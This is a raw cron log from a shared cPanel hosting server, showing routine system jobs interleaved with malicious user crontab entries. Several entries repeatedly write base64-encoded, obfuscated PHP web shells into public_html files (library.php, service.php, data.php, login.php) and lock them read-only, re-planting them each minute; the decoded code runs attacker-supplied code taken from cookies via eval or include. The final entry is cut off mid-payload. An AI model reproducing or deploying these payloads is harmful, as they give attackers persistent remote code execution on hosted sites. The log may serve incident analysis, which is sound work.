Mar  2 08:37:01 medusa CROND[9170]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:37:01 medusa CROND[9171]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:37:01 medusa CROND[9173]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:37:01 medusa CROND[9180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:37:01 medusa CROND[9182]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:37:01 medusa CROND[9187]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:37:01 medusa CROND[9190]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:37:01 medusa CROND[9179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:38:01 medusa CROND[23099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:38:01 medusa CROND[23242]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:38:01 medusa CROND[23303]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:38:01 medusa CROND[23304]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:38:01 medusa CROND[23307]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:38:01 medusa CROND[23319]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:38:01 medusa CROND[23321]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:38:01 medusa CROND[23322]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:38:01 medusa CROND[23323]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:38:01 medusa CROND[23328]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:38:01 medusa CROND[23329]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:38:01 medusa CROND[23331]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 08:38:01 medusa CROND[23326]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:39:01 medusa CROND[9555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:39:01 medusa CROND[9556]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 08:39:01 medusa CROND[9744]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:39:01 medusa CROND[9745]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:39:01 medusa CROND[9747]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 08:39:01 medusa CROND[9752]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIG